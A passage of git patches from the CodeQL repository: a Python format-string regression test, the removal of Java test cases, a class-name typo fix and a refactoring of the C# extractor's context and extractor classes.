it is not required by $@. | unknown_format_string.py:24:15:24:19 | Str | format "{a}" | diff --git a/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py b/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py new file mode 100644 index 00000000000..a3b32a504db --- /dev/null +++ b/python/ql/test/query-tests/Expressions/Formatting/unknown_format_string.py @@ -0,0 +1,25 @@ +# FP Reported in https://github.com/github/codeql/issues/2650 + +def possibly_unknown_format_string1(x): + user_specified = unknown_function() + if user_specified: + fmt = user_specified + else: + fmt = "{a}" + return fmt.format(a=1,b=2) + +def possibly_unknown_format_string2(x): + user_specified = input() + if user_specified: + fmt = user_specified + else: + fmt = "{a}" + return fmt.format(a=1,b=2) + + +def possibly_unknown_format_string3(x): + if unknown_function(): + fmt = input() + else: + fmt = "{a}" + return fmt.format(a=1,b=2) From 1d007b6e7251f09954e8e243e7555e3064d5dbaf Mon Sep 17 00:00:00 2001 From: yo-h <55373593+yo-h@users.noreply.github.com> Date: Sun, 14 Feb 2021 21:42:58 -0500 Subject: [PATCH 1181/1241] Java: delete two test cases as per code review --- .../query-tests/ContinueInFalseLoop/A.java | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/java/ql/test/query-tests/ContinueInFalseLoop/A.java b/java/ql/test/query-tests/ContinueInFalseLoop/A.java index 911d4146a66..51f381b94c8 100644 --- a/java/ql/test/query-tests/ContinueInFalseLoop/A.java +++ b/java/ql/test/query-tests/ContinueInFalseLoop/A.java @@ -30,21 +30,21 @@ public class A { break; } while (c.cond()); - // --- while, for loops --- - while (c.cond()) { - if (c.cond()) - continue; // GOOD [never reached, if the condition changed so it was then the result would no longer apply] - if (c.cond()) - break; - } - for (i = 0; c.cond(); i++) { - if (c.cond()) - continue; // GOOD [never reached, if the condition changed so it was then the result would no longer apply] - if (c.cond()) - break; - } + + + + + + + + + + + + + // --- nested loops --- From 91f277681a467ea2dd4a6d7fdbc9907804a06587 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 15 Feb 2021 09:59:04 +0100 Subject: [PATCH 1182/1241] fix typo in ApolloClientRequest Co-authored-by: Esben Sparre Andreasen --- .../ql/src/semmle/javascript/frameworks/ClientRequests.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll index 34f878c125f..ebfdc874f64 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/ClientRequests.qll @@ -844,8 +844,8 @@ module ClientRequest { /** * A model of a URL request made using apollo-client. */ - class ApolloClientRequeist extends ClientRequest::Range, API::InvokeNode { - ApolloClientRequeist() { this = apolloUriCallee().getAnInvocation() } + class ApolloClientRequest extends ClientRequest::Range, API::InvokeNode { + ApolloClientRequest() { this = apolloUriCallee().getAnInvocation() } override DataFlow::Node getUrl() { result = getParameter(0).getMember("uri").getARhs() } From 1a4f370d1507c693dc507cfa54b2976c00b2e32e Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:00:28 +0100 Subject: [PATCH 1183/1241] C#: Fix formatting issues --- csharp/autobuilder/Semmle.Autobuild.Shared/Solution.cs | 9 +++++++-- .../Semmle.Extraction.CIL.Driver/ExtractorOptions.cs | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/csharp/autobuilder/Semmle.Autobuild.Shared/Solution.cs b/csharp/autobuilder/Semmle.Autobuild.Shared/Solution.cs index 2f16872dd74..c5d65794fb5 100644 --- a/csharp/autobuilder/Semmle.Autobuild.Shared/Solution.cs +++ b/csharp/autobuilder/Semmle.Autobuild.Shared/Solution.cs @@ -45,6 +45,7 @@ namespace Semmle.Autobuild.Shared private readonly SolutionFile? solution; private readonly IEnumerable includedProjects; + public override IEnumerable IncludedProjects => includedProjects; public IEnumerable Configurations => @@ -84,8 +85,12 @@ namespace Semmle.Autobuild.Shared .ToArray(); } - private IEnumerable ToolsVersions => includedProjects.Where(p => p.ValidToolsVersion).Select(p => p.ToolsVersion); + private IEnumerable ToolsVersions => includedProjects + .Where(p => p.ValidToolsVersion) + .Select(p => p.ToolsVersion); - public Version ToolsVersion => ToolsVersions.Any() ? ToolsVersions.Max() : new Version(); + public Version ToolsVersion => ToolsVersions.Any() + ? ToolsVersions.Max() + : new Version(); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL.Driver/ExtractorOptions.cs b/csharp/extractor/Semmle.Extraction.CIL.Driver/ExtractorOptions.cs index 9964ff5bf0c..75405d562fe 100644 --- a/csharp/extractor/Semmle.Extraction.CIL.Driver/ExtractorOptions.cs +++ b/csharp/extractor/Semmle.Extraction.CIL.Driver/ExtractorOptions.cs @@ -163,7 +163,7 @@ namespace Semmle.Extraction.CIL.Driver } private readonly HashSet filesAnalyzed = new HashSet(); - public HashSet MissingReferences {get;} = new HashSet(); + public HashSet MissingReferences { get; } = new HashSet(); } /// From a75306acbd85b66d797e76543e294aea97b4fd60 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:00:52 +0100 Subject: [PATCH 1184/1241] C#: Remove warnings from MdProvider --- csharp/extractor/Semmle.Extraction.CIL/PDB/MdProvider.cs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/csharp/extractor/Semmle.Extraction.CIL/PDB/MdProvider.cs b/csharp/extractor/Semmle.Extraction.CIL/PDB/MdProvider.cs index c6c943032a6..fc22f1f6e94 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/PDB/MdProvider.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/PDB/MdProvider.cs @@ -2,6 +2,8 @@ using System; using Microsoft.DiaSymReader; using System.Reflection; +#pragma warning disable IDE0060, CA1822 + namespace Semmle.Extraction.PDB { /// @@ -31,3 +33,5 @@ namespace Semmle.Extraction.PDB throw new NotImplementedException(); } } + +#pragma warning restore From fc3e6526ce7407dda5c2be3305cb208b909f6bcf Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:03:06 +0100 Subject: [PATCH 1185/1241] C#: Remove IExtractionScope.FromSource --- csharp/extractor/Semmle.Extraction/AssemblyScope.cs | 2 -- csharp/extractor/Semmle.Extraction/Context.cs | 2 +- csharp/extractor/Semmle.Extraction/IExtractionScope.cs | 2 -- csharp/extractor/Semmle.Extraction/SourceScope.cs | 2 -- 4 files changed, 1 insertion(+), 7 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction/AssemblyScope.cs b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs index 84c117d17c4..27c9377bb30 100644 --- a/csharp/extractor/Semmle.Extraction/AssemblyScope.cs +++ b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs @@ -21,7 +21,5 @@ namespace Semmle.Extraction public bool InScope(ISymbol symbol) => SymbolEqualityComparer.Default.Equals(symbol.ContainingAssembly, assembly) || SymbolEqualityComparer.Default.Equals(symbol, assembly); - - public bool FromSource => false; } } diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index e6b4826f2ef..1ebbdf72ea4 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -242,7 +242,7 @@ namespace Semmle.Extraction ShouldAddAssemblyTrapPrefix = addAssemblyTrapPrefix; } - public bool FromSource => scope.FromSource; + public bool FromSource => scope is SourceScope; public ICommentGenerator CommentGenerator { get; } = new CommentProcessor(); diff --git a/csharp/extractor/Semmle.Extraction/IExtractionScope.cs b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs index 78b4a29d0d1..f12823b3f96 100644 --- a/csharp/extractor/Semmle.Extraction/IExtractionScope.cs +++ b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs @@ -22,7 +22,5 @@ namespace Semmle.Extraction /// /// The path to populate. bool InFileScope(string path); - - bool FromSource { get; } } } diff --git a/csharp/extractor/Semmle.Extraction/SourceScope.cs b/csharp/extractor/Semmle.Extraction/SourceScope.cs index 48a89decba9..fba816f6363 100644 --- a/csharp/extractor/Semmle.Extraction/SourceScope.cs +++ b/csharp/extractor/Semmle.Extraction/SourceScope.cs @@ -19,7 +19,5 @@ namespace Semmle.Extraction public bool InFileScope(string path) => path == SourceTree.FilePath; public bool InScope(ISymbol symbol) => symbol.Locations.Any(loc => loc.SourceTree == SourceTree); - - public bool FromSource => true; } } From 6cdec2d30ecb5624e2505b768587a841159c4f36 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:09:34 +0100 Subject: [PATCH 1186/1241] C#: Remove 'extractor.CreateContext' factory method --- .../Semmle.Extraction.CIL/Entities/Assembly.cs | 2 +- .../Semmle.Extraction.CSharp/Analyser.cs | 6 +++--- csharp/extractor/Semmle.Extraction/Context.cs | 13 +++++-------- csharp/extractor/Semmle.Extraction/Extractor.cs | 15 --------------- 4 files changed, 9 insertions(+), 27 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Assembly.cs index 8a843f1672d..5c0a834909c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Assembly.cs @@ -136,7 +136,7 @@ namespace Semmle.Extraction.CIL.Entities trapFile = trapWriter.TrapFile; if (nocache || !System.IO.File.Exists(trapFile)) { - var cx = extractor.CreateContext(null, trapWriter, null, false); + var cx = new Extraction.Context(extractor, trapWriter); ExtractCIL(cx, assemblyPath, extractPdbs); extracted = true; } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs index f9e0d7c3806..ee2326648ed 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs @@ -230,7 +230,7 @@ namespace Semmle.Extraction.CSharp var projectLayout = layout.LookupProjectOrDefault(transformedAssemblyPath); var trapWriter = projectLayout.CreateTrapWriter(Logger, transformedAssemblyPath, options.TrapCompression, discardDuplicates: false); compilationTrapFile = trapWriter; // Dispose later - var cx = extractor.CreateContext(compilation.Clone(), trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); + var cx = new Context(extractor, compilation.Clone(), trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); compilationEntity = Entities.Compilation.Create(cx); } @@ -285,7 +285,7 @@ namespace Semmle.Extraction.CSharp if (c.GetAssemblyOrModuleSymbol(r) is IAssemblySymbol assembly) { - var cx = extractor.CreateContext(c, trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); + var cx = new Context(extractor, c, trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); foreach (var module in assembly.Modules) { @@ -371,7 +371,7 @@ namespace Semmle.Extraction.CSharp if (!upToDate) { - var cx = extractor.CreateContext(compilation.Clone(), trapWriter, new SourceScope(tree), AddAssemblyTrapPrefix); + var cx = new Context(extractor, compilation.Clone(), trapWriter, new SourceScope(tree), AddAssemblyTrapPrefix); // Ensure that the file itself is populated in case the source file is totally empty var root = tree.GetRoot(); Extraction.Entities.File.Create(cx, root.SyntaxTree.FilePath); diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index 1ebbdf72ea4..af13b5d3b76 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -225,14 +225,6 @@ namespace Semmle.Extraction /// public Compilation Compilation { get; } - /// - /// Create a new context, one per source file/assembly. - /// - /// The extractor. - /// The Roslyn compilation. - /// Name of the source/dll file. - /// Defines which symbols are included in the trap file (e.g. AssemblyScope or SourceScope) - /// Whether to add assembly prefixes to TRAP labels. public Context(IExtractor e, Compilation c, TrapWriter trapWriter, IExtractionScope scope, bool addAssemblyTrapPrefix) { Extractor = e; @@ -242,6 +234,11 @@ namespace Semmle.Extraction ShouldAddAssemblyTrapPrefix = addAssemblyTrapPrefix; } + public Context(IExtractor e, TrapWriter trapWriter) + : this(e, null, trapWriter, null, false) + { + } + public bool FromSource => scope is SourceScope; public ICommentGenerator CommentGenerator { get; } = new CommentProcessor(); diff --git a/csharp/extractor/Semmle.Extraction/Extractor.cs b/csharp/extractor/Semmle.Extraction/Extractor.cs index 4f5c27f3a90..33ec2d72915 100644 --- a/csharp/extractor/Semmle.Extraction/Extractor.cs +++ b/csharp/extractor/Semmle.Extraction/Extractor.cs @@ -83,16 +83,6 @@ namespace Semmle.Extraction /// The path transformer to apply. /// PathTransformer PathTransformer { get; } - - /// - /// Creates a new context. - /// - /// The C# compilation. - /// The trap writer. - /// The extraction scope (what to include in this trap file). - /// Whether to add assembly prefixes to TRAP labels. - /// - Context CreateContext(Compilation c, TrapWriter trapWriter, IExtractionScope scope, bool addAssemblyTrapPrefix); } /// @@ -189,11 +179,6 @@ namespace Semmle.Extraction } } - public Context CreateContext(Compilation c, TrapWriter trapWriter, IExtractionScope scope, bool addAssemblyTrapPrefix) - { - return new Context(this, c, trapWriter, scope, addAssemblyTrapPrefix); - } - public IEnumerable MissingTypes => missingTypes; public IEnumerable MissingNamespaces => missingNamespaces; From 9ddeff80bf5e0ce621b58674650f509413b8fe71 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:12:49 +0100 Subject: [PATCH 1187/1241] Remove useless 'IExtractor' interface --- .../Semmle.Extraction.CSharp/Analyser.cs | 2 +- csharp/extractor/Semmle.Extraction/Context.cs | 8 +- csharp/extractor/Semmle.Extraction/Entity.cs | 2 +- .../extractor/Semmle.Extraction/Extractor.cs | 83 +------------------ 4 files changed, 7 insertions(+), 88 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs index ee2326648ed..b04b429993d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp /// public sealed class Analyser : IDisposable { - private IExtractor extractor; + private Extraction.Extractor extractor; private CSharpCompilation compilation; private Layout layout; private bool init; diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index af13b5d3b76..c3eaa80d933 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -18,7 +18,7 @@ namespace Semmle.Extraction /// /// Access various extraction functions, e.g. logger, trap writer. /// - public IExtractor Extractor { get; } + public Extractor Extractor { get; } /// /// The program database provided by Roslyn. @@ -51,7 +51,7 @@ namespace Semmle.Extraction // A recursion guard against writing to the trap file whilst writing an id to the trap file. private bool writingLabel = false; - public void DefineLabel(IEntity entity, TextWriter trapFile, IExtractor extractor) + public void DefineLabel(IEntity entity, TextWriter trapFile, Extractor extractor) { if (writingLabel) { @@ -225,7 +225,7 @@ namespace Semmle.Extraction /// public Compilation Compilation { get; } - public Context(IExtractor e, Compilation c, TrapWriter trapWriter, IExtractionScope scope, bool addAssemblyTrapPrefix) + public Context(Extractor e, Compilation c, TrapWriter trapWriter, IExtractionScope scope, bool addAssemblyTrapPrefix) { Extractor = e; Compilation = c; @@ -234,7 +234,7 @@ namespace Semmle.Extraction ShouldAddAssemblyTrapPrefix = addAssemblyTrapPrefix; } - public Context(IExtractor e, TrapWriter trapWriter) + public Context(Extractor e, TrapWriter trapWriter) : this(e, null, trapWriter, null, false) { } diff --git a/csharp/extractor/Semmle.Extraction/Entity.cs b/csharp/extractor/Semmle.Extraction/Entity.cs index 5479c93fee9..8839b6ede2a 100644 --- a/csharp/extractor/Semmle.Extraction/Entity.cs +++ b/csharp/extractor/Semmle.Extraction/Entity.cs @@ -137,7 +137,7 @@ namespace Semmle.Extraction where TSymbol : ISymbol where TEntity : ICachedEntity => cx.CreateEntityFromSymbol(factory, init); - public static void DefineLabel(this IEntity entity, TextWriter trapFile, IExtractor extractor) + public static void DefineLabel(this IEntity entity, TextWriter trapFile, Extractor extractor) { trapFile.WriteLabel(entity); trapFile.Write("="); diff --git a/csharp/extractor/Semmle.Extraction/Extractor.cs b/csharp/extractor/Semmle.Extraction/Extractor.cs index 33ec2d72915..6e031fbca52 100644 --- a/csharp/extractor/Semmle.Extraction/Extractor.cs +++ b/csharp/extractor/Semmle.Extraction/Extractor.cs @@ -4,91 +4,10 @@ using Semmle.Util.Logging; namespace Semmle.Extraction { - /// - /// Provides common extraction functions for use during extraction. - /// - /// - /// - /// This is held in the passed to each entity. - /// - public interface IExtractor - { - /// - /// Logs a message (to csharp.log). - /// Increases the error count if msg.severity is Error. - /// - /// The message to log. - void Message(Message msg); - - /// - /// Cache assembly names. - /// - /// The assembly name. - /// The file defining the assembly. - void SetAssemblyFile(string assembly, string file); - - /// - /// Maps assembly names to file names. - /// - /// The assembly name - /// The file defining the assmebly. - string GetAssemblyFile(string assembly); - - /// - /// How many errors encountered during extraction? - /// - int Errors { get; } - - /// - /// The extraction is standalone - meaning there will be a lot of errors. - /// - bool Standalone { get; } - - /// - /// Record a new error type. - /// - /// The display name of the type, qualified where possible. - /// If the missing type was referenced from a source file. - void MissingType(string fqn, bool fromSource); - - /// - /// Record an unresolved `using namespace` directive. - /// - /// The full name of the namespace. - /// If the missing namespace was referenced from a source file. - void MissingNamespace(string fqn, bool fromSource); - - /// - /// The list of missing types. - /// - IEnumerable MissingTypes { get; } - - /// - /// The list of missing namespaces. - /// - IEnumerable MissingNamespaces { get; } - - /// - /// The full path of the generated DLL/EXE. - /// null if not specified. - /// - string OutputPath { get; } - - /// - /// The object used for logging. - /// - ILogger Logger { get; } - - /// - /// The path transformer to apply. - /// - PathTransformer PathTransformer { get; } - } - /// /// Implementation of the main extractor state. /// - public class Extractor : IExtractor + public class Extractor { public bool Standalone { From 5ce5a96cb6cb6b181f796ada0b185631f144fac6 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:15:33 +0100 Subject: [PATCH 1188/1241] Remove 'ContextExtensions' --- csharp/extractor/Semmle.Extraction/Context.cs | 36 ++++++++----------- 1 file changed, 14 insertions(+), 22 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index c3eaa80d933..99e877f5ef2 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -457,42 +457,36 @@ namespace Semmle.Extraction new Entities.ExtractionMessage(this, msg); Extractor.Message(msg); } - } - public static class ContextExtensions - { /// /// Signal an error in the program model. /// - /// The context. /// The syntax node causing the failure. /// The error message. - public static void ModelError(this Context cx, SyntaxNode node, string msg) + public void ModelError(SyntaxNode node, string msg) { - if (!cx.Extractor.Standalone) + if (!Extractor.Standalone) throw new InternalError(node, msg); } /// /// Signal an error in the program model. /// - /// The context. /// Symbol causing the error. /// The error message. - public static void ModelError(this Context cx, ISymbol symbol, string msg) + public void ModelError(ISymbol symbol, string msg) { - if (!cx.Extractor.Standalone) + if (!Extractor.Standalone) throw new InternalError(symbol, msg); } /// /// Signal an error in the program model. /// - /// The context. /// The error message. - public static void ModelError(this Context cx, string msg) + public void ModelError(string msg) { - if (!cx.Extractor.Standalone) + if (!Extractor.Standalone) throw new InternalError(msg); } @@ -500,11 +494,10 @@ namespace Semmle.Extraction /// Tries the supplied action , and logs an uncaught /// exception error if the action fails. /// - /// The context. /// Optional syntax node for error reporting. /// Optional symbol for error reporting. /// The action to perform. - public static void Try(this Context context, SyntaxNode? node, ISymbol? symbol, Action a) + public void Try(SyntaxNode? node, ISymbol? symbol, Action a) { try { @@ -516,33 +509,32 @@ namespace Semmle.Extraction if (node != null) { - message = Message.Create(context, ex.Message, node, ex.StackTrace); + message = Message.Create(this, ex.Message, node, ex.StackTrace); } else if (symbol != null) { - message = Message.Create(context, ex.Message, symbol, ex.StackTrace); + message = Message.Create(this, ex.Message, symbol, ex.StackTrace); } else if (ex is InternalError ie) { - message = new Message(ie.Text, ie.EntityText, Entities.Location.Create(context, ie.Location), ex.StackTrace); + message = new Message(ie.Text, ie.EntityText, Entities.Location.Create(this, ie.Location), ex.StackTrace); } else { - message = new Message($"Uncaught exception. {ex.Message}", null, Entities.Location.Create(context), ex.StackTrace); + message = new Message($"Uncaught exception. {ex.Message}", null, Entities.Location.Create(this), ex.StackTrace); } - context.ExtractionError(message); + ExtractionError(message); } } /// /// Write the given tuple to the trap file. /// - /// Extractor context. /// Tuple to write. - public static void Emit(this Context cx, Tuple tuple) + public void Emit(Tuple tuple) { - cx.TrapWriter.Emit(tuple); + TrapWriter.Emit(tuple); } } } From e8fd6e11128c74496d4259ed964fb743bbc58b5d Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 10 Feb 2021 09:23:15 +0100 Subject: [PATCH 1189/1241] Move classes to seperate files --- .../Entities/CallTypeExtensions.cs | 27 ++ .../Entities/Expression.cs | 320 ------------------ .../Entities/ExpressionInfo.cs | 36 ++ .../Entities/ExpressionNodeInfo.cs | 189 +++++++++++ .../Entities/Expression`1.cs | 34 ++ .../Entities/IExpressionInfo.cs | 53 +++ .../Entities/IExpressionParentEntity.cs | 10 + .../Entities/IStatementParentEntity.cs | 10 + .../Entities/Statement.cs | 51 --- .../Entities/Statement`1.cs | 47 +++ 10 files changed, 406 insertions(+), 371 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/CallTypeExtensions.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionInfo.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/ExpressionNodeInfo.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression`1.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionInfo.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/IExpressionParentEntity.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/IStatementParentEntity.cs create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Statement`1.cs diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/CallTypeExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CallTypeExtensions.cs new file mode 100644 index 00000000000..6b9564e49dc --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/CallTypeExtensions.cs @@ -0,0 +1,27 @@ +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities +{ + internal static class CallTypeExtensions + { + /// + /// Adjust the expression kind to match this call type. + /// + public static ExprKind AdjustKind(this Expression.CallType ct, ExprKind k) + { + if (k == ExprKind.ADDRESS_OF) + { + return k; + } + + switch (ct) + { + case Expression.CallType.Dynamic: + case Expression.CallType.UserOperator: + return ExprKind.OPERATOR_INVOCATION; + default: + return k; + } + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs index 6c738da3af1..e343414a4cb 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs @@ -2,8 +2,6 @@ using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.CSharp.Entities.Expressions; -using Semmle.Extraction.CSharp.Populators; -using Semmle.Extraction.Entities; using Semmle.Extraction.Kinds; using System; using System.IO; @@ -11,14 +9,6 @@ using System.Linq; namespace Semmle.Extraction.CSharp.Entities { - public interface IExpressionParentEntity : IEntity - { - /// - /// Whether this entity is the parent of a top-level expression. - /// - bool IsTopLevelParent { get; } - } - internal class Expression : FreshEntity, IExpressionParentEntity { private readonly IExpressionInfo info; @@ -308,314 +298,4 @@ namespace Semmle.Extraction.CSharp.Entities public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.OptionalLabel; } - - internal static class CallTypeExtensions - { - /// - /// Adjust the expression kind to match this call type. - /// - public static ExprKind AdjustKind(this Expression.CallType ct, ExprKind k) - { - if (k == ExprKind.ADDRESS_OF) - { - return k; - } - - switch (ct) - { - case Expression.CallType.Dynamic: - case Expression.CallType.UserOperator: - return ExprKind.OPERATOR_INVOCATION; - default: - return k; - } - } - } - - internal abstract class Expression : Expression - where TExpressionSyntax : ExpressionSyntax - { - public TExpressionSyntax Syntax { get; } - - protected Expression(ExpressionNodeInfo info) - : base(info) - { - Syntax = (TExpressionSyntax)info.Node; - } - - /// - /// Populates expression-type specific relations in the trap file. The general relations - /// expressions and expr_location are populated by the constructor - /// (should not fail), so even if expression-type specific population fails (e.g., in - /// standalone extraction), the expression created via - /// will - /// still be valid. - /// - protected abstract void PopulateExpression(TextWriter trapFile); - - protected new Expression TryPopulate() - { - cx.Try(Syntax, null, () => PopulateExpression(cx.TrapWriter.Writer)); - return this; - } - } - - /// - /// Holds all information required to create an Expression entity. - /// - internal interface IExpressionInfo - { - Context Context { get; } - - /// - /// The type of the expression. - /// - AnnotatedTypeSymbol? Type { get; } - - /// - /// The location of the expression. - /// - Extraction.Entities.Location Location { get; } - - /// - /// The kind of the expression. - /// - ExprKind Kind { get; } - - /// - /// The parent of the expression. - /// - IExpressionParentEntity Parent { get; } - - /// - /// The child index of the expression. - /// - int Child { get; } - - /// - /// Holds if this is an implicit expression. - /// - bool IsCompilerGenerated { get; } - - /// - /// Gets a string representation of the value. - /// null is encoded as the string "null". - /// If the expression does not have a value, then this - /// is null. - /// - string ExprValue { get; } - - NullableFlowState FlowState { get; } - } - - /// - /// Explicitly constructed expression information. - /// - internal class ExpressionInfo : IExpressionInfo - { - public Context Context { get; } - public AnnotatedTypeSymbol? Type { get; } - public Extraction.Entities.Location Location { get; } - public ExprKind Kind { get; } - public IExpressionParentEntity Parent { get; } - public int Child { get; } - public bool IsCompilerGenerated { get; } - public string ExprValue { get; } - - public ExpressionInfo(Context cx, AnnotatedTypeSymbol? type, Extraction.Entities.Location location, ExprKind kind, - IExpressionParentEntity parent, int child, bool isCompilerGenerated, string value) - { - Context = cx; - Type = type; - Location = location; - Kind = kind; - Parent = parent; - Child = child; - ExprValue = value; - IsCompilerGenerated = isCompilerGenerated; - } - - // Synthetic expressions don't have a flow state. - public NullableFlowState FlowState => NullableFlowState.None; - } - - /// - /// Expression information constructed from a syntax node. - /// - internal class ExpressionNodeInfo : IExpressionInfo - { - public ExpressionNodeInfo(Context cx, ExpressionSyntax node, IExpressionParentEntity parent, int child) : - this(cx, node, parent, child, cx.GetTypeInfo(node)) - { - } - - public ExpressionNodeInfo(Context cx, ExpressionSyntax node, IExpressionParentEntity parent, int child, TypeInfo typeInfo) - { - Context = cx; - Node = node; - Parent = parent; - Child = child; - TypeInfo = typeInfo; - Conversion = cx.GetModel(node).GetConversion(node); - } - - public Context Context { get; } - public ExpressionSyntax Node { get; private set; } - public IExpressionParentEntity Parent { get; set; } - public int Child { get; set; } - public TypeInfo TypeInfo { get; } - public Microsoft.CodeAnalysis.CSharp.Conversion Conversion { get; } - - public AnnotatedTypeSymbol ResolvedType => new AnnotatedTypeSymbol(TypeInfo.Type.DisambiguateType(), TypeInfo.Nullability.Annotation); - public AnnotatedTypeSymbol ConvertedType => new AnnotatedTypeSymbol(TypeInfo.ConvertedType.DisambiguateType(), TypeInfo.ConvertedNullability.Annotation); - - private AnnotatedTypeSymbol? cachedType; - private bool cachedTypeSet; - public AnnotatedTypeSymbol? Type - { - get - { - if (cachedTypeSet) - return cachedType; - - var type = ResolvedType; - - if (type.Symbol == null) - type.Symbol = (TypeInfo.Type ?? TypeInfo.ConvertedType).DisambiguateType(); - - // Roslyn workaround: It can't work out the type of "new object[0]" - // Clearly a bug. - if (type.Symbol?.TypeKind == Microsoft.CodeAnalysis.TypeKind.Error) - { - if (Node is ArrayCreationExpressionSyntax arrayCreation) - { - var elementType = Context.GetType(arrayCreation.Type.ElementType); - - if (elementType.Symbol != null) - // There seems to be no way to create an array with a nullable element at present. - return new AnnotatedTypeSymbol(Context.Compilation.CreateArrayTypeSymbol(elementType.Symbol, arrayCreation.Type.RankSpecifiers.Count), NullableAnnotation.NotAnnotated); - } - - Context.ModelError(Node, "Failed to determine type"); - } - - cachedType = type; - cachedTypeSet = true; - - return type; - } - } - - private Microsoft.CodeAnalysis.Location location; - - public Microsoft.CodeAnalysis.Location CodeAnalysisLocation - { - get - { - if (location == null) - location = Node.FixedLocation(); - return location; - } - set - { - location = value; - } - } - - public SemanticModel Model => Context.GetModel(Node); - - public string ExprValue - { - get - { - var c = Model.GetConstantValue(Node); - if (c.HasValue) - { - return Expression.ValueAsString(c.Value); - } - - if (TryGetBoolValueFromLiteral(out var val)) - { - return Expression.ValueAsString(val); - } - - return null; - } - } - - private Extraction.Entities.Location cachedLocation; - - public Extraction.Entities.Location Location - { - get - { - if (cachedLocation == null) - cachedLocation = Context.Create(CodeAnalysisLocation); - return cachedLocation; - } - - set - { - cachedLocation = value; - } - } - - public ExprKind Kind { get; set; } = ExprKind.UNKNOWN; - - public bool IsCompilerGenerated { get; set; } - - public ExpressionNodeInfo SetParent(IExpressionParentEntity parent, int child) - { - Parent = parent; - Child = child; - return this; - } - - public ExpressionNodeInfo 